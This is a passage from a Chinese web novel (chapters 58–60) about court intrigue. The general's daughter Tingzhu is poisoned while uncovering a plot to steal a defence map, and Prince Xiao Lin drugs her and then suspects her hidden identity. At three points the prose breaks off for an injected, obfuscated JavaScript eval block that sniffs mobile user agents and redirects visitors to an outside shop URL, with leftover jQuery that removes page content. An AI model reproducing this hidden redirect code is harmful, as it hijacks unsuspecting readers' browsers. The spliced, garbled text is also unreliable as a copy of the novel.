汀竹不及细想，当即矮身躲在街角老槐树后，将身形彻底藏在树身之后，连呼吸都敛得极细。 明霄见状，则是足尖一点，身形掠至不远处的断墙之后，借着残垣遮掩身形，余光却始终锁着那男子与汀竹的方向，不敢有半分松懈。 他瞧见那男子的目光扫过汀竹藏身的槐树，下颌的浅疤绷得紧紧的，似是起了疑心，抬手便要朝那边走去。 明霄心头一动，悄然捡起一块碎石，指力轻弹，碎石精准砸在不远处的空宅院墙上，发出“笃”的一声轻响。 那男子闻声骤转头，目光死死盯着空宅方向，迟疑片刻，终究不敢耽搁，转身叩了叩车厢板，三长一短，节奏分明。 车内传来一个极低沉的嗓音，带着不容置疑的威严：“事办得如何？周伊人那边应了？” 男子躬身回话，声音依旧粗哑，却添了几分恭谨：“回大人，周伊人应了，只是不肯一月内取图，求了三个月期限，属下以周家满门相胁，她已应下。” “废物。”车内人嗤笑一声，语气冷得像冰，“给她机会，原是看她尚有几分用处，三个月太久，夜长梦多。传我命令，限她两月，逾时，周家上下，连同她在将军府的根基，一并拔除。” “属下遵命。”男子应声，转身便要往街角另一条岔路走，车厢内又传来那低沉嗓音，带着几分阴鸷的告诫：“将军府的布防图，半点错漏都不能有！” 男子垂首应得恭顺：“属下谨记大人吩咐。。”言罢脚步未顿，身影很快融进西街口的薄雾里，步履疾捷，转眼便没了踪迹。 驾车的壮汉始终垂着眼，方才主仆对话半句未接，此刻听得男子脚步声远了，才缓缓抬起头，眼底泛着冷光，飞快扫过整条横街，见四下无人，指尖猛地一甩缰绳，辕马轻抬蹄子，竟半点声响无有。青布马车顺着横街缓缓行去，车轮碾过青石板的浅痕，只余极淡的轱辘轻响，风一吹便没了踪迹。 墙根下的汀竹听得字字真切，心头已然明了大半。 周伊人能坐稳将军府姨娘之位多年，想来应是这男子口中的“大人”暗中扶持，而她便是那位“大人”埋在将军府的眼线。难怪周姨娘下毒谋害屡次得手，从无纰漏，这般一想，便理顺了前因后果。 布防图乃是城中要塞关键，汀竹猜测，觊觎此物者，非谋逆权贵，便是与大祈为敌的北域蛮夷。此物关乎满城百姓安危，更系将军府存亡，若真被窃取，国破家亡近在眼前，她身为大祈子民岂能坐视不理？ 她屏息凝视，待马车行出数丈远，才敢微微探身，欲辨清马车去向，却忘了男子方才本就起了疑心。 马车行至巷口转弯处，车厢的布帘竟被风掀起一角，内里隐约露出脸上半张面具的纹路，钟馗面具，黑刃堂头目？汀竹心头一震，正要凝神再看，忽觉后颈一阵凉意，余光瞥见一道黑影从斜侧空宅的墙头掠出。 竟是方才那男子去而复返！ 他不知何时绕了回来，此刻褪去了方才的恭谨，眼底满是狠戾，帽檐垂幔被风扯得笔直，冷硬的下颌绷得死紧，那道浅疤在晨光里愈发刺眼，腕间抽出一把长匕首，抬脚便朝槐树这边奔来，脚步声踏在青石板上，沉闷有力，打破了横街的死寂。 汀竹心下瞬然一紧，忙矮身往后缩，指尖摸向腕间暗藏的银针。眼看男子拿起匕首的身影愈发逼近，她甚至能闻见他身上烟火与血腥混杂的气息，牙关咬得发紧，正想待出针之际，忽听得一声极轻的破空声。 断墙后的明霄再也按捺不住，足尖点在残垣之上，身形如离弦之箭掠出，玄色衣袍在风里展开如墨蝶，腰间长刀应声出鞘，刀穗翻飞间，刀尖精准点向那男子后心。男子警觉性极高，闻声猛地旋身，手肘向后狠撞，堪堪避开剑锋，却被刀气震得后退两步，抬眼看向明霄时，眼底满是惊怒：“你是谁？” “取你狗命之人。”明霄声音冷冽，玄色身影挡在槐树前，将汀竹护得严严实实，长刀横在身前，刀尖凝着瘆人的寒光。 汀竹在他身后站稳身形，见是谢玦身边的明霄，瞬间就了然此人为何在此处。 她低声道：“明大人，马车还未走远！” 明霄颔首，余光扫过她沾着泥点的裙摆，叮嘱一句：“紧随我身后，勿要妄动”。 话落，旋身便朝马车去向追去。那男子岂会容他们脱身，低吼一声，从靴筒里拔出一柄短匕，匕尖泛着青黑，显是喂了毒，提步便追。三人身影一前两后，很快掠过横街，追进了西街的窄巷之中。 青布马车似是早有防备，行至窄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965173|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷中段，竟突然停了下来。车厢门“吱呀”一声轻响，走下两个黑衣劲装的护卫，皆是腰悬长刀，面戴玄铁面具，显然是车内人的贴身死士。驾车的壮汉见状，连连挥鞭，赶着马车匆匆离去。 两名黑衣护卫齐齐拔刀，刀锋劈向明霄，寒光凛冽。明霄身形灵巧，侧身避开刀锋，软剑顺势缠上其中一人的刀身，手腕用力一拧，只听“哐当”一声，长刀落地，护卫吃痛闷哼，被他一脚踹翻在地。 另一护卫见状，攻势愈发凶狠，长刀直劈面门，而那名拿着匕首的男子朝汀竹这边来。汀竹虽有本事一招制敌，但眼下明霄在场，她绝不能暴露自己的真实实力。只得装作慌忙躲闪，时不时惊呼两声“救命！”。 应是她的呼喊惹恼了男子，他突然怒喝：“简直找死！”说罢便纵身跃起，短匕携着毒戾之风，直刺她心口要害。汀竹避无可避，脚下踉跄着跌在巷墙根，仓促间竟反手攥住了匕刃，锋利的刃口划破掌心，鲜血瞬间涌出，顺着青黑的匕首刀面蜿蜒而下，她只觉掌心刺痛钻心，腕间银针还未来得及暗扣，整个人已被男子狠狠钳住肩头，匕首又往前递了半寸，只差分毫便要扎进皮肉。 千钧一发之际，明霄眼底寒光骤起。他本与两名黑衣护卫缠斗，余光瞥见汀竹危在旦夕，当即旋身卸力，长刀反手一抹，刀背重重磕在那护卫后颈，护卫眼前一黑，轰然倒地。余下那名被踢踹翻的护卫刚撑着起身，便被明霄飞踢而来的靴尖正中门面，牙齿混着血沫飞溅，再无半分反抗之力。 明霄脚下不停，玄色身影如疾风掠至汀竹身前，长刀归鞘的瞬间，手肘狠狠撞在男子心口，男子痛的闷哼出声，钳着汀竹的力道骤然松脱，明霄顺势扣住他手腕，猛地一折扭，短匕“哐当”落地，紧接着抬脚踹在他膝弯上，男子双膝跪地，被明霄反手按在地上动弹不得。 巷中另外两名护卫挣扎着爬起，皆是重伤在身，哪里还敢恋战，对视一眼，托着伤体踉跄着往巷尾逃窜。那持匕首的男子也是心胆俱裂，趁着明霄分神的间隙，猛地睁开桎梏，连滚带爬地跟着二人身后，三人身影很快消失在窄巷深处，转眼没了踪迹。 明霄眸色沉凝，反手握住腰间长刀，便要提步去追，手腕却骤然被人拉住。 汀竹站在他身后，掌心鲜血淋漓，脸色已是惨白如纸，方才攥住匕刃时沾了毒汁，此刻毒素顺着伤口蔓延，指尖已然发麻，连带着缠意：“明大人，救我......” 她话音刚落，身形便晃了晃，险些栽倒在地。 明霄低头望去，只见她掌心伤口发黑，唇角也隐隐泛着青，心头陡然一凛。她乃是将军府嫡女，未来太子妃，若她在此地中毒殒命，将军府必定会彻查到底，顺着今日巷中痕迹追查，定会牵扯出他，进而波及殿下，届时朝堂风波骤起，殿下多年筹谋恐尽数付诸东流。 此事绝不能声张。 明霄当机立断，松开握刀的手，反手扶住摇摇欲坠的汀竹，沉声道：“撑住。” 俯身便将玄色衣袍裹住她单薄的身形，打横将人抗在了肩头，避开巷中血迹与残垣，循着僻静小路疾驰而去，一路避开巡街侍卫盘查，径直回了宸王府深处的僻静院落。 59. 迷药 明霄扛着汀竹直接掠进了宸王府最深处的苍桂轩，轩内只有两珠老桂，三间静室，常年无人值守，最是隐秘。 他踹开西侧暖室的木门，将汀竹轻放在铺着锦褥的软塌上，玄色的衣袍上沾了她掌心的血渍，暗沉一片。 明霄不敢耽搁，扯着嗓子唤来府中秘养的医者，那医者须发半白，一身素布医袍，拎着药箱疾步而入，见塌上女子掌心发黑、唇色泛青，神色涣散，忙上前诊脉，指尖刚搭上汀竹腕间，便沉声道：“是凝煞毒，刃上喂的毒烈得很，再迟片刻，毒入心肺便无救了！” 明霄立在榻边，眉头紧蹙，语气带着急切：“无论用什么法子，务必救她性命，此事不可声张，更不能让府中旁人知晓。” 医者颔首，不敢多问，当即打开药箱，取出银针扎在汀竹肩颈、曲池数处大穴位，暂阻毒素蔓延，又取来尖刀烧热，小心翼翼刮去她掌心发黑的皮肉，疼得汀竹无意识蹙紧了眉头，额间渗出密密麻麻的冷汗。 继而连忙敷上解毒的药膏，裹上洁净纱布，再剪了一碗浓黑的解毒汤药，撬开了汀竹的牙关缓缓灌下，一番折腾下来，天光已近午时，汀竹掌心的黑晕才渐渐褪去，唇角的青色也淡了几分。 “毒素暂时遏制，需得静养一个时辰方能转醒，醒后不可动气，只能进些青粥，后续还需连服三日解毒汤药方能去根。”医者收拾着药箱，低声嘱咐着。 明霄闻言挥挥手让医者退下，守在塌边。汀竹虽面带白纱，他却依旧能瞧出她脸上的苍白。 想起方才巷中危急时刻，她徒手攥住毒刃，又念及此事牵连甚广，心头沉甸甸的，正思量着如何向殿下回禀，院外已传来沉稳的脚步声，伴着一声清越低沉的嗓音，带着几分探究：“明霄，你在此处做什么？方才下人说你拎了个人回苍桂轩。” 明霄心头一惊，转身行礼：“殿下。” 箫凛缓步踏入暖室，月白锦袍下摆扫过青石板，面容俊朗冷冽，一双眼眸深邃地扫过榻上的汀竹，看清她的衣着与眉眼时，眸光微顿，语气添了几分疑惑：“这是何人？” 明霄不敢隐瞒，便如实开口：“是将军府的嫡小姐，宋韫。” “你为何将她带回府中？”箫凛瞧着她面上那方白纱，带着几分探究。 他曾听闻过将军府嫡女相貌有毁，却从未见过。 明霄垂首将前因后果一一禀明，从瞧见府中姨娘与粗布男子密谈，到汀竹尾随男子，撞见其与青布马车中人对谈，再到男子去而复返欲伤汀竹，他出手相救，见汀竹中毒、事态棘手，恐声张后牵扯殿下筹谋，才贸然将人带回苍桂轩救治，字字清晰，毫无隐瞒。 箫凛听罢，眼眸微眯，手指摩挲着扇柄边缘，半晌才沉声道：“你做得虽冒失，却也周全，此事若传出去，将军府与东宫那边定会生疑，苍桂轩这边你亲自守着，不许任何人靠近。” 明霄应声：“是。” 箫凛又道：“可知那二人聊的什么？” 明霄凝思片刻，轻轻摇头，语气恭谨而笃定：“回殿下，属下与二人相隔甚远，半句言语也未曾听清。此事别无他法，怕是要等宋小姐清醒之后，方能问出谈话的具体内容。” 箫凛颔首，又看向榻上的汀竹，眼底掠过一丝深思，眉峰微敛，终是未再多言。转身在外间软椅落座，静等她转醒。 一柱香的时辰转瞬即逝，榻上的汀竹睫毛轻颤，缓缓睁开眼，初时眸光茫然，待看清周遭陈设，又回忆起巷中的险境，才渐渐回神，掌心传来阵阵钝痛，牵动着四肢百骸都泛着酸软。 不出意外，她此刻应是躺在靖安侯府某处院落。她此番以身犯险，故意握刃中毒，为的便是打探谢玦为何会派明霄暗中盯着她。 汀竹撑着身子想坐起来，明霄见状忙上前扶她，递过一杯温水：“小姐醒了？毒已解了大半，勿要用力。” 汀竹接过水杯，指尖仍有些发麻，小口饮了两口，才抬眸看向明霄，微微欠身，声音带着刚想的虚弱：“此番多谢明大人舍命相救，大恩不言谢，日后必有报答。” 话音刚落，外间箫凛已然起身，缓步走入内室，汀竹抬眼望去。见他衣着月白锦袍，神色沉疑，气度雍容，周身透着上位者的威严。若不是他手拿那把墨兰折扇，她都觉面前这人不似先前在太傅府遇上的靖安侯府的谢世子。 她忙敛衽行礼，礼数周全：“臣女多谢世子收留之恩，让臣女有处疗伤。” 箫凛颔首，眼眸中带着微不可察的疑惑之色，余光瞥了一眼明霄，见他微微点头，就想起先前谢玦那一反常态的模样，心中便知二人应是有过一面之缘，这才缓缓开口：“宋小姐不必多礼。” “听明霄说，宋小姐尾随一名陌生男子，遭其受伤中毒，是他将你带回府中解毒。宋小姐可否将听闻的谈话内容，告知本世子？” 汀竹再次喝了一口温水，润了润干涩的喉咙，缓了缓气力才道：“承蒙世子麾下相救，又得世子收留疗伤，臣女自当据实禀明。” “只是......” 话语顿住，她眼底闪过一丝迟疑。箫凛眉头显而易见的微蹙着，眉宇间染上几分不耐，语气也沉了几分：“宋小姐有话但说无妨，不必迂回。” 汀竹抬眸，目光直视他深邃眼眸，声音虽弱，却吐字清晰：“臣女只是想知晓，堂堂靖安侯府世子，为何要派贴身侍卫暗中盯着一个于你而言，本就毫不相关的将军府的小姐？” 这话一出，箫凛额间的青筋几不可察的跳了跳，手中的折扇柄被他攥得发紧。却没想到面前这看着柔柔弱弱的女子，竟这般机敏剔透。难怪先前谢玦会对她另眼相看几分。 未等箫凛开口，明霄先一步出声解释：“宋小姐误会了。属下是在执行公务途中，偶然路过将军府，恰巧撞见今日这番变故，并非是暗中盯梢小姐。” “执行公务？敢问明大人，所执乃是何公务？”汀竹顺势接话，眉梢微挑，语气里带着几分探究。 明霄一时语塞，不知该如何措辞，转头看向自家殿下，心头暗自烦闷。 早知这宋小姐这般牙尖嘴利，当初倒不如袖手旁观，任由那陌生男子取了她性命，也省得如今这般为难。 见箫凛递来一个示意的眼神，并无替他解围之意，明霄只得无可奈何，将追查北域细作的公务大略讲与汀竹知晓。 “原来如此。”汀竹轻轻点头，心中了然，想来是自己先前的举动露了痕迹，才引得他们循着蛛丝马迹，追查至北域细作之事上。 明霄再度拱手行礼，语气恭谨，又带着几分提醒：“属下既已将实情相告，还望小姐莫要忘了，将方才听闻的谈话内容，告知我家世子。” 汀竹扯了扯唇角，心中明镜似的，今日若不将所知和盘托出，怕是难出这靖安侯府。 于是她缓声开口，细细道来：“今日家府行过祭礼，臣女偶感烦闷，便与贴身丫鬟在府中后园散心，谁知撞见府中姨娘行色匆匆，心下生疑便悄悄跟了过去，竟见她与一陌生男子私会。” “臣女隐匿身形听了几句墙角，隐约听见二人提及‘布防图’三字，具体详情却未曾听清。后来姨娘离去，臣女便遣丫鬟回阁，独自尾随那男子，想查清他背后之人，只见他在一辆青布马车前俯身低语，车内之人戴着一张玄铁面具，模样身形皆无法窥见。再往后的事，明大人便都知晓了。” “布防图？”箫凛眉头拧得更紧，抬手用折扇端头轻轻点着太阳穴，神色凝重。 “正是。臣女也不知，府中姨娘为何会与外人提及布防图，更不知此事深浅。”汀竹颔首，心头清明，此事早已不是将军府的内宅纷争，分明牵扯家国安危，凭她一己之力，断断无法应对。她再度敛衽，语气恳切地恳求：“还望世子出手相助，查清府中姨娘背后之人，肃清隐患，还将军府一片太平，亦护太和城周全。臣女在此，先谢过世子。” “你怎知，本世子就一定会帮你？”箫凛眸光微沉，反问一句，眼眸里带着几分审视。 汀竹神色坦然，语气恭敬却不卑不亢：“太和城中皆传，世子英明神武，心怀苍生，素来正义凛然，断不会坐视太和城陷入险境，任由家国蒙难。” 箫凛闻言，眼眸中沉沉浮浮，指尖摩挲扇柄的动作渐缓，半晌才勾了勾唇角，那笑意却未达眼底，只淡淡道：“你倒是会说话，拿太和城的安危堵本世子的嘴。” 他起身踱了两步，月白锦袍扫过地面，带起一缕药香的气息，停在窗边看向院外苍桂虬枝，沉声道：“将军府乃镇国砥柱，府中藏私通外敌之人，本就关乎京中防务，即便你不求，此事本世子也不会坐视不理。” 汀竹心头一松，忙撑着身子欲再度行礼，却被明霄先一步按住肩头：“小姐身子未愈，不必多礼。” “不过，”箫凛忽然转眸看来，眉梢微挑，语气里带着几分不易察觉的试探，“本世子倒忘了，宋小姐与太子殿下早有婚约在身，此事关乎将军府安危，你何以不告知太子，求他出手相助？” 汀竹抬眸迎上他的目光，先反问道：“世子莫非忘了，前几日太傅寿宴之上，臣女与世子说过的话？”语毕，她唇角轻轻一扯，漾开一抹似笑非笑的浅弧，语气带着几分漫不经心的坦荡，“说句僭越的话，若不是有这与太子的婚约捆绑，臣女倒觉得，世子倒是个极好的夫婿人选。” “……” 箫凛幽邃的眼眸骤然一凝，周身气息沉了几分，默然伫立片刻，眼底翻涌着难辨的情绪。他倒当真不知，先前谢玦竟与她有过那样一番对话，更未料她竟会说出这般大胆无忌的言语。 暖室内的药香似都凝滞了一瞬，明霄立在一侧，闻言心头猛地一跳，垂在身侧的手不自觉攥紧，连大气都不敢喘。 这宋小姐当真是胆大包天，竟敢对自家殿下说这等僭越之语，要知道殿下可不是什么靖安侯府世子，而是大祈的宸王殿下，何况她还是太子殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我没说胡话，”汀竹抬眸打断他，目光依旧落在箫凛身上，“臣女只是实话实说。世子若怕牵连，臣女今日这话，便当从未说过。只是臣女所求，不过是查清府中内奸，护将军府周全，与世子无半分攀附之意，还望世子明鉴。” 箫凛望着她坦荡的眼神，心头微动。这些年，他瞧见父皇后宫中的女人，不是温婉逢迎，便是心机深沉，或是为家族前程争斗夺宠，从未有人如她这般，身负婚约，却敢直言另择良人，坦荡得近乎鲁莽，却又干净得让人无法苛责。 他收起玩味，神色复归沉凝，折扇轻合，“啪”的一声轻响，打破了室内的沉寂：“此事本世子不计较，只是往后宋小姐慎言。口舌之祸，有时比凝煞毒更烈，能取人性命。” 汀竹松了口气，微微颔首：“臣女谢世子宽宥，往后定当谨言。” “你可还记得那陌生男子有何特征？马车上戴面具者，面具是何纹路？其人衣着形制、马车样式又是怎样？”箫凛话锋一转，语气重归公事公办，眼眸锐利如寒刃，“这些细枝末节，半点也不得疏漏。” 见他不再追究方才言语，汀竹亦敛了心神，垂眸凝神细思，语气愈见笃定：“那男子口音粗粝，带着浓重卷舌音，听着绝非城中士民腔调，亦不是西域苗疆的语音。对了，那男子下颌处有道浅疤；马车上那人，戴的是玄铁钟馗纹面具；衣着倒是咱们大祈的服饰；马车外头裹了青布，样式瞧着也是城中随处可见的寻常模样。” 她素来记性卓绝，当日虽情势仓促危急，这些细节却一一烙在心头，此刻说来条理分明，分毫不差。但汀竹却并未将先前见过钟馗面具，以及对方极有可能是黑刃堂头目之事告知萧凛。 箫凛眸色沉沉渐深，口音粗粝带卷舌，非西域苗疆……莫非竟与北域有关？前几日谢玦才与他提及北域细作异动，牵扯漕运要务，今日又横生出城中布防图欲窃之事，诸般线索皆指向北域，看来这北域之事，绝非表面那般简单。 他向明霄递了个眼色，沉声道：“将这些细节尽数记下，即刻遣人彻查。重点排查下颌带疤、口音带卷舌音者，再者玄铁面具锻造不易，全城铁匠铺一律严密监视，切记行事隐秘，万不可打草惊蛇。” “属下遵令！”明霄躬身领命，垂首将诸般细节默记于心，半分不敢错漏。 箫凛复又看向汀竹，语气淡了几分：“宋小姐已然无碍，本世子这便派人送你回府。” “多谢世……”汀竹依礼欠身应声，话音未落，眼前忽然泛起昏沉模糊，余光里堪堪瞥见箫凛唇角勾起一抹极淡的弧度，心头猛地一震，才知方才的温水里被下了药，自己也只觉口中干涩，并未细想水中是否有异样，惊怒交加间只来得及吐出一字，“你……” 下一瞬便软倒在地，不省人事。 只听箫凛对明霄冷声道：“她如何来的，便如何送回去。” 明霄领命，俯身将汀竹扛上肩头，身形如轻燕般悄无声息出了宸王府。 60. 相似 眼看都过了几个时辰，却未见汀竹归来。 锁秋在堂屋心急如焚，直在原地来回踱步，思忖着实在无计，便要寻求胡舟相助，出去打探一二。 刚踏出堂屋，便听得堂屋后院传来一声闷钝异响。她心头一喜，只当是汀竹折返而归，不及细想，拔脚便往后院奔去。 才奔至近前，便见一道黑影掠墙而去，转瞬就没了踪迹。锁秋心头咯噔一声，正自疑惑，垂眸间陡然瞥见地上蜷着一人，素色衣裙，面带白纱，正是汀竹。 她三步并作两步抢上前去，见汀竹双目紧闭、不省人事，双手之上还裹着素白纱布，先前的焦灼瞬间翻涌成惶急，只当她遭遇了什么不测。忙伸两指在她鼻息间探了探，待触到匀缓气息，高悬的心才稍稍落定。 正要俯身将人扶起，眼角余光忽然扫到一旁搁着一张素笺。她伸手取过展开，纸上墨迹淋漓，写的皆是药材明目，瞧着模样，分明是一剂药方。锁秋不识药方深意，不敢怠慢，只将素笺细细折好，揣入袖口贴身收好，而后费力搀扶着汀竹，一步一挪往屋内去。 - 待明霄将汀竹送回将军府，折返宸王府时，箫凛早已在听竹苑的凉亭内设下棋局，独自对弈，落子未歇。 “殿下，属下已将宋小姐安然送回将军府。”明霄趋步上前，拱手行了一礼，肃声回禀。 箫凛执起墨玉黑子的手指悬在棋盘上方，凝眸沉吟，似是在思量这枚棋子该落入何处。 半晌方开口：“太傅寿宴那日，宋韫与堂兄二人，曾说了何语？你且细细说来。” “回殿下，那日属下寸步不离世子身侧。世子偶拾宋小姐的香囊，便在太傅的冬篱苑静候，待宋小姐寻至。”明霄垂首躬身，回忆当日情景，语速徐缓而明晰，“世子当时笑言：‘宋小姐与太子殿下的婚事将至，今日太子又这般维护，倒是羡煞旁人’。宋小姐闻言，神色淡然，回道：‘婚事是陛下钦点，父母之命，于她而言，不过是尽一份宋家女的本分罢了’。” “宋小姐走之前，还叹了一句：‘秋菊有傲骨，纵使风霜相逼，也能开得热烈’。彼时世子便应下，说日后若得机缘，当邀宋小姐品菊论道。” “开得热烈？”箫凛喉间溢出一声冷此嗤，指节微收，那枚墨玉棋子陡然落定棋盘，落子有声。 黑子入盘，竟将那片困局的白子生生锁死。 竹风穿亭而过，卷着淡淡竹香，却吹不散亭中沉郁。箫凛收了棋具，起身负手而立，月白锦袍下摆扫过青石上的竹影，身姿挺拔如松，望向那片苍翠的贵妃竹，眸光深邃难辨：“将军府这边你派人盯着些，切勿再如今日这般，有任何异动，即刻来报。” “属下遵命。”明霄躬身领命，应声铿锵。 片刻后，箫凛语气复归平淡，却带着不容置喙的笃定：“秋菊纵有傲骨，也得看栽在谁的园子里。这京中风霜烈，可不是她想开得炽烈，便能不受折损的。” 他缓缓抬手，拾起肩头落定一片泛黄的竹叶，眸盯深思，脑中忽尔浮现出那双勾魂摄魄、蛊惑人心的眼眸，转念间，又与方才宋韫当庭质问他时的目光隐隐重合。 那般灼烈的锋芒，竟有几分莫名的相似。 他指尖微微用力，泛黄的竹叶便在掌中蜷起边角，脆裂的细响混在竹涛里，几不可闻。 这两人，一个是娇纵明媚，藏于暗处，与杀手“无常”有牵扯的女子；一个是看似性子软弱，因貌受欺，在将军府不受宠的嫡女，更是未来的太子妃。本是毫无交集的二人，眼底却偏偏有着同样的执拗与倔强。 箫凛捏着那片脆裂的竹叶杵立良久，竹影在他月白锦袍上流转，眸底的沉凝渐渐凝作一抹难辨的锐光，指腹摩挲着竹叶的枯纹，语气听不出喜怒：“那女子的踪迹，近日可有新的眉目？” 明霄闻言抬眸一瞬，又即刻垂首，恭声回禀：“回殿下，那女子的踪迹难寻，属下派人追查多日，并未查到任何有关那女子的线索，除了世子手底的人查到北域细作之事，那女子像是在世间蒸发了般，毫无线索。” 顿了顿，他又补了一句，语气带着斟酌：“殿下，属下揣测，那女子应当是北域之人。” 箫凛指节骤然收紧，那片竹叶应声碎作叶渣，从他掌心中簌簌落于地面。他眸色沉定，语气斩钉截铁，一字未有迟疑：“不。” 他垂眸望着掌心里残留的细碎竹屑，指腹缓缓蜷起，锐光在眼底沉沉敛去，只剩一片深不见底的寒潭：“北域细作向来低调行事，从无半分拖泥带水，更不会这般明目张胆的，也断不会有那般明烈又藏锋的眉眼。” 明霄垂首立在一旁，肩头绷得笔直，闻言心头微震，却不敢多问，只低眉应了声“是”。 他跟随殿下多年，知晓殿下素来心思缜密，观人断事从无差错，既笃定那女子非北域之人，必然是握了旁人未见的凭据。 “世子那边，可有北域细作的新讯？”箫凛转身俯，拿起在棋篓旁的折扇，随手拢在掌心。 “回殿下，世子那边并未有何消息。”明霄沉声回禀。 箫凛抬眼，语气干脆：“往后几日，你便随在世子左右，助他一臂之力。” “殿下三思！”明霄闻言抬眸急谏，“属下若离去，殿下身边再无近身护卫，若遇凶险，如何是好？” “不必担心，尚有隐夜在。”箫凛的话音未落，院门外便传来一阵轻捷的脚步声，隐夜一身玄色劲装，肩背挺直，腰间长剑悬佩，剑穗还带着未散的凉风，走至箫凛面前，拱手行礼：“殿下。” 箫凛淡淡颔首：“讲。” 隐夜站定，看向他，声线冷冽无温，带着外勤归来的肃杀气：“属下遵殿下的吩咐，派人追查宋小姐坠涯前的那辆马车的车夫，方才属下的人已在城郊乱葬岗寻得车夫尸体，尸身已腐烂生虫，身上有明显的刀口，显然是遭人杀害，身上并无信物。” “且那车夫尸身周围，伏着数名服毒自尽的男子，看其手茧与衣着，属下揣测，皆是太子的人在城西所见之人。” 箫凛捏着折扇的手指微顿，骨节泛出几分冷白，那柄墨兰折扇本是他装病掩面轻咳的物件，时长捏在手中便成了把玩的物件，此刻被他指尖轻叩，笃笃两声，打破了听竹苑的静谧。 他抬眸时，眼底的温雅尽数褪去，唯有寒冰覆渊般的冷冽，沉声道：“灭口倒是利落，这般急于收尾，反倒更坐实了太子与宋韫突然坠涯之事，脱不了干系。” “世人皆道，唯有死人才能保守秘密，可却忘了死人，何尝不是会开口的证物。” 说罢，语气倏然一顿，指尖骤然收拢，折扇应声合起，坚硬的棱角抵着掌心，复又问道：“在那几具尸身之上，可有什么异样发现？” 隐夜回禀：“回殿下，属下在尸身衣襟夹层里，寻得一枚携有东宫印记的银钱。”语毕不停，又继续道，“除此之外，属下亲往宋小姐坠崖处上方密林查探，林中草木倒伏，枯枝折落带有血迹，显然是曾有激烈打斗之迹。” “不仅如此，属下还在密林打斗处的腐叶间，拾得几枚带毒的银针。” 话落，隐夜小心翼翼从怀中取出一方素色锦帕，双手呈至箫凛面前，缓缓摊开。帕上静静躺着三两枚细如牛毛的银针，针尾淬着暗褐色的药渍，虽已风干，却仍透着森然戾气，触之惊心。 明霄目光一落，当即便认出了帕中此物，忙趋前一步，躬身开口：“殿下，这是‘无常’的独门暗器！” 二人闻言，齐齐侧目看向他。 明霄又急声道：“殿下还记得醉仙楼那日？无常便是以迷烟粉末及这银针，趁乱脱身的！” 箫凛眸色微动，当日醉仙楼的纷乱场景霎时浮上心头，他缓缓颔首，垂着眸子睨着锦帕上的银针，眉峰不自觉微蹙起。指尖不曾沾触分毫，只虚虚悬在帕面上方，目光冷得似能凝霜。 那银针细如光芒，针尾却刻着极浅的竹叶纹暗纹，样式纹路，倒是与醉仙楼那日的银针分毫不差，皆是出自无常之手。 “那日你带人追查此人，是在何处追丢？”箫凛凝眉沉声问道。 “是在将军府外的横街窄巷追丢的。那日属下曾冒用端王府的名义，让人入将军府询问过一二。”明霄躬身回禀。 箫凛闻言，眸底翻涌着凛冽寒色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974984|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，唇角却不自觉勾起一抹似笑非笑的弧度，几分冷意掺着几分莫测。 这般思忖下来，那日无常定然是藏匿于宋韫闺中，待风声尽无方才脱身离去。而宋韫坠崖那日，多半也是无常所救。 为何那橘衣女子与宋韫双眸那般相似，若他所料不差，二人应是同一人。 橘衣女子三番五次提及心上之人，而宋韫也曾数次言明，与太子的婚事不过是格尽职守、全家族颜面，这般态度，岂不是暗证她对无常一见钟情？而那橘衣女子似人间蒸发，再也没出现过。如此想来，二者为同一人的可能便更甚了。 可他分明见过那橘衣女子，容色倾城无半分瑕疵，绝非寻常姿色；反观宋韫，他虽未见真容，可透过那层素纱，依稀能窥见她面上留着疤痕，二者这般迥异，又如何能是一人...... “殿下？” “殿下？” 两声轻唤入耳，箫凛才从纷乱思绪中恍然回神。 “可知有何法子，能使人换副模样？”箫凛询问。 隐夜沉声回：“殿下所言，可是易容之术？” 箫凛微微颔首，眸光深凝，若有所思。 明霄皱紧眉宇，开口：“可这易容之术，历来玄奥难精，需量身调膏，还得配相应声气、步态，一丝差错便会露馅。这般技艺，唯有专精此道的奇人方可为之，而这类奇人素来行踪诡秘，世间难寻。” 闻得明霄这番话，箫凛心头萦绕的重重疑虑，终究是淡去了几分。 隐夜立在一旁，补了一句：“况且易容膏多含药性，敷用逾三日便会腐蚀肌肤，寻常易容不过是暂遮掩容貌，断无长久改颜之理。” “腐蚀肌肤？”箫凛握着折扇的手缓缓松开，扇骨抵触的掌心红痕渐渐淡去，他望着那片贵妃竹，暖光透过竹枝投下细碎的光辉，落在他深邃的眸底，神色好似了然一般，“逾期便会蚀肤，留下疤痕。” 隐夜一愣，随即道：“殿下的意思是，莫非宋小姐会易容之术？” 明霄闻言当即蹙眉反驳，语气沉笃：“此言诧异。宋小姐出身名门，自幼居于深闺，所学皆是闺阁礼仪、诗书笔墨，易容之术诡谲偏门，且多为江湖异士所用，她一介世家贵女，何来机缘习得这般技艺？” 